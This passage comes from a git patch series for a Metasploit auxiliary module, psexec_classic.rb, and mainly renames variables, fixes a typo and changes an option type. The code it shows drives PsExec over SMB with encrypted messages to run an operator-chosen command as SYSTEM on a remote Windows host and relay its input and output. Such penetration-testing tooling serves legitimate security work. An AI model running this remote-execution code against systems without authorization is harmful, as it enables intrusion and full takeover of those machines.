"\x8c\x00\x00\x00") # This is the PUBLICKEYSTRUC header that preceeds the encrypted key. - publickeystruc = "\x01" + # bType = SIMPLEBLOB - "\x02" + # bVersion + publickeystruc = "\x01" + # b_type = SIMPLEBLOB + "\x02" + # b_version "\x00\x00" + # reserved "\x10\x66\x00\x00" + # ALG_ID = 0x6610 = # ALG_CLASS_DATA_ENCRYPT| @@ -249,25 +248,25 @@ def run random_client_pid_high.chr << "\x00\x00" << Rex::Text.to_unicode(random_hostname) << ("\x00" * 496) << Rex::Text.to_unicode(command) << - ("\x00" * (3762 - (command.length * 2))), cipherEncrypt) + ("\x00" * (3762 - (command.length * 2))), cipher_encrypt) # In the next three messages, we just send lots of zero bytes... - data2 = aes("\x00" * 4290, cipherEncrypt) - data3 = aes("\x00" * 4290, cipherEncrypt) - data4 = aes("\x00" * 4290, cipherEncrypt) + data2 = aes("\x00" * 4290, cipher_encrypt) + data3 = aes("\x00" * 4290, cipher_encrypt) + data4 = aes("\x00" * 4290, cipher_encrypt) # In the final message, we give it some magic bytes. This # (somehow) corresponds to the "-s" flag in PsExec.exe, which # tells it to execute the specified command as SYSTEM. data5 = aes(("\x00" * 793) << "\x01" << ("\x00" * 14) << "\xff\xff\xff\xff" << - ("\x00" * 1048) << "\x01" << ("\x00" * 11), cipherEncrypt) + ("\x00" * 1048) << "\x01" << ("\x00" * 11), cipher_encrypt) # If the stream is encrypted, we must first send the length of the # entire ciphertext. data_len_packed = "\x58\x4a" remaining = 19032 - if encryptedStream then + if encrypted_stream then ciphertext_length = data1.length + data2.length + data3.length + data4.length + data5.length remaining = ciphertext_length @@ -385,12 +384,12 @@ def run # Read 1024 bytes at a time if the stream is not encrypted. Otherwise, # we need to read the length packet first (which is always a 4-byte # DWORD), followed by a second packet with the data. - readLenStdout = readLenStderr = 1024 - if encryptedStream then - readLenStdout = readLenStderr = 4 + read_len_stdout = read_len_stderr = 1024 + if encrypted_stream then + read_len_stdout = read_len_stderr = 4 # Each message is not chained to any previous one. - cipherEncrypt.reset + cipher_encrypt.reset end # Read from stdout and stderr. We need to record the multiplex @@ -400,10 +399,10 @@ def run # returned from the last call. Hence, we use these IDs to know # when to call read again. stdout_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stdout.file_id, 0, readLenStdout, false) + smbclient.read(psexecsvc_proc_stdout.file_id, 0, read_len_stdout, false) stderr_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stderr.file_id, 0, readLenStderr, false) + smbclient.read(psexecsvc_proc_stderr.file_id, 0, read_len_stderr, false) # Loop to read responses from the server and process commands # from the user. @@ -461,25 +460,25 @@ def run # this happens when our previous read to stderr unexpectedly # returns with data. payload = parsed_smbpacket['Payload'].v['Payload'][1..-1] - if encryptedStream + if encrypted_stream # If we previously requested to read 4 bytes from a stream, parse the response, then we can issue # a second read request with the size of the data that's waiting for us. - if stdout_response and (readLenStdout == 4) - readLenStdout = payload.unpack('V')[0] - elsif stderr_response && (readLenStderr == 4) - readLenStderr = payload.unpack('V')[0] + if stdout_response and (read_len_stdout == 4) + read_len_stdout = payload.unpack('V')[0] + elsif stderr_response && (read_len_stderr == 4) + read_len_stderr = payload.unpack('V')[0] else # Decrypt the payload and print it. - print aes(payload, cipherDecrypt) + print aes(payload, cipher_decrypt) # Each block read from the server is encrypted separately from # all previous blocks. Hence, the ciphertexts aren't chained # together. - cipherDecrypt.reset + cipher_decrypt.reset # Issue a read command of length 4 to get the size of the next # ciphertext. - stdout_response ? readLenStdout = 4 : readLenStderr = 4 + stdout_response ? read_len_stdout = 4 : read_len_stderr = 4 end # Older versions of PsExec don't encrypt anything... else @@ -489,10 +488,10 @@ def run # Issue another read request on whatever pipe just returned data. if stdout_response stdout_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stdout.file_id, 0, readLenStdout, false) + smbclient.read(psexecsvc_proc_stdout.file_id, 0, read_len_stdout, false) elsif stderr_response stderr_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stderr.file_id, 0, readLenStderr, false) + smbclient.read(psexecsvc_proc_stderr.file_id, 0, read_len_stderr, false) end end end @@ -512,9 +511,9 @@ def run # If the stream is encrypted, we need to send the length of the # encrypted message first, separately. cr = "\x0d" - if encryptedStream then - cr = aes(cr, cipherEncrypt) - cipherEncrypt.reset + if encrypted_stream then + cr = aes(cr, cipher_encrypt) + cipher_encrypt.reset smbclient.write(psexecsvc_proc_stdin.file_id, 0, [cr.length].pack('V')) end @@ -541,9 +540,9 @@ def run # If the stream is encrypted, encrypt the data, then send a separate message # telling the server what the length of the next ciphertext is. original_data = data - if encryptedStream then - data = aes(data, cipherEncrypt) - cipherEncrypt.reset + if encrypted_stream then + data = aes(data, cipher_encrypt) + cipher_encrypt.reset smbclient.write(psexecsvc_proc_stdin.file_id, 0, [data.length].pack('V')) end @@ -686,18 +685,18 @@ def load_rsa_public_key(blob) blob = blob[1..-1] # PUBLICKEYSTRUC - bType = blob[0, 1].ord - bVersion = blob[1, 1].ord + b_type = blob[0, 1].ord + b_version = blob[1, 1].ord reserved = blob[2, 2] - aiKeyAlg = blob[4, 4].unpack("L")[0] + ai_key_alg = blob[4, 4].unpack("L")[0] # RSAPUBKEY magic = blob[8, 4] bitlen = blob[12, 4].unpack("L")[0].to_i - pubexpBE = blob[16, 4].unpack('N*').pack('V*') - pubexpLE = blob[16, 4].unpack("L")[0] - modulusLE = blob[20, blob.length - 20] - modulusBE = modulusLE.reverse + pubexp_be = blob[16, 4].unpack('N*').pack('V*') + pubexp_le = blob[16, 4].unpack("L")[0] + modulus_le = blob[20, blob.length - 20] + modulus_be = modulus_le.reverse # This magic value is "RSA1". if magic != "\x52\x53\x41\x31" then @@ -710,12 +709,12 @@ def load_rsa_public_key(blob) return nil end - if pubexpLE.to_i != 65537 then - print_error "Public exponent is not 65537 as expected!: " << pubexpLE.to_i.to_s + if pubexp_le.to_i != 65537 then + print_error "Public exponent is not 65537 as expected!: " << pubexp_le.to_i.to_s return nil end - return OpenSSL::PKey::RSA.new(make_der_stream(modulusBE, pubexpBE)) + return OpenSSL::PKey::RSA.new(make_der_stream(modulus_be, pubexp_be)) end # The Ruby OpenSSLs ASN.1 documentation is terrible, so I had to construct @@ -723,34 +722,34 @@ def load_rsa_public_key(blob) # with the ASN.1 support, please do! # # The ASN.1 encoder at http://lapo.it/asn1js/ was a big help here. - def make_der_stream(modulusBE, pubexpBE) + def make_der_stream(modulus_be, pubexp_be) - modulusLen = modulusBE.length + 1 # + 1 for the extra \x00 - modulusLenByte = [modulusLen].pack('C') - modulusInteger = "\x02\x81" << modulusLenByte << "\x00" << modulusBE + modulus_len = modulus_be.length + 1 # + 1 for the extra \x00 + modulous_len_byte = [modulus_len].pack('C') + modulous_integer = "\x02\x81" << modulous_len_byte << "\x00" << modulus_be - pubexpLen = pubexpBE.length - pubexpLenByte = [pubexpLen].pack('C') - pubexpInteger = "\x02" << pubexpLenByte << pubexpBE + pubexp_len = pubexp_be.length + pubexp_len_byte = [pubexp_len].pack('C') + pubexp_integer = "\x02" << pubexp_len_byte << pubexp_be - modulusExpSequenceLen = modulusLen + 3 + pubexpLen + 2 - modulusExpSequenceLenByte = [modulusExpSequenceLen].pack('C') - modulusExpSequence = "\x30\x81" << modulusExpSequenceLenByte << modulusInteger << pubexpInteger + modulus_exp_sequence_len = modulus_len + 3 + pubex_len + 2 + modulus_exp_sequence_len_byte = [modulus_exp_sequence_len].pack('C') + modulus_exp_sequence = "\x30\x81" << modulus_exp_sequence_len_byte << modulous_integer << pubexp_integer - bitStringLen = modulusExpSequenceLen + 3 + 1 # + 1 for the extra \x00 - bitStringLenByte = [bitStringLen].pack('C') - bitString = "\x03\x81" << bitStringLenByte << "\x00" << modulusExpSequence + bit_string_len = modulus_exp_sequence_len + 3 + 1 # + 1 for the extra \x00 + bit_string_len_byte = [bit_string_len].pack('C') + bit_string = "\x03\x81" << bit_string_len_byte << "\x00" << modulus_exp_sequence oid = "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01" null = "\x05\x00" - oidNullSequence = "\x30\x0d" << oid << null - oidNullSequenceLen = oidNullSequence.length + oid_null_sequence = "\x30\x0d" << oid << null + oid_null_sequence_len = oid_null_sequence.length - parentSequenceLen = oidNullSequenceLen + bitStringLen + 3 - parentSequenceLenByte = [parentSequenceLen].pack('C') - parentSequence = "\x30\x81" << parentSequenceLenByte << oidNullSequence << bitString + parent_sequence_len = oid_null_sequence_len + bit_string_len + 3 + parent_sequence_len_byte = [parent_sequence_len].pack('C') + parent_sequence = "\x30\x81" << parent_sequence_len_byte << oid_null_sequence << bit_string - return parentSequence + return parent_sequence end # This is the I2OSP function, as defined in RSA PKCS#1 v2.1. It takes a From 653eb31ba54e9b095e439b7664ab5b812ddd01d3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 13 Feb 2015 14:25:21 -0600 Subject: [PATCH 14/15] Oops typo. --- modules/auxiliary/admin/smb/psexec_classic.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index ac9b106bd0c6..8d289ec1c7f0 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -732,7 +732,7 @@ def make_der_stream(modulus_be, pubexp_be) pubexp_len_byte = [pubexp_len].pack('C') pubexp_integer = "\x02" << pubexp_len_byte << pubexp_be - modulus_exp_sequence_len = modulus_len + 3 + pubex_len + 2 + modulus_exp_sequence_len = modulus_len + 3 + pubexp_len + 2 modulus_exp_sequence_len_byte = [modulus_exp_sequence_len].pack('C') modulus_exp_sequence = "\x30\x81" << modulus_exp_sequence_len_byte << modulous_integer << pubexp_integer From 530a57bca8b8e82d7e4c9f9b5169e0ea8c00b454 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 13 Feb 2015 14:46:14 -0600 Subject: [PATCH 15/15] OptPath, not OptString. --- modules/auxiliary/admin/smb/psexec_classic.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 8d289ec1c7f0..045bfa056ba6 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -44,7 +44,7 @@ module sends the same code to the target as the authentic PsExec (which )) register_options([ - OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), + OptPath.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) ], self.class ) end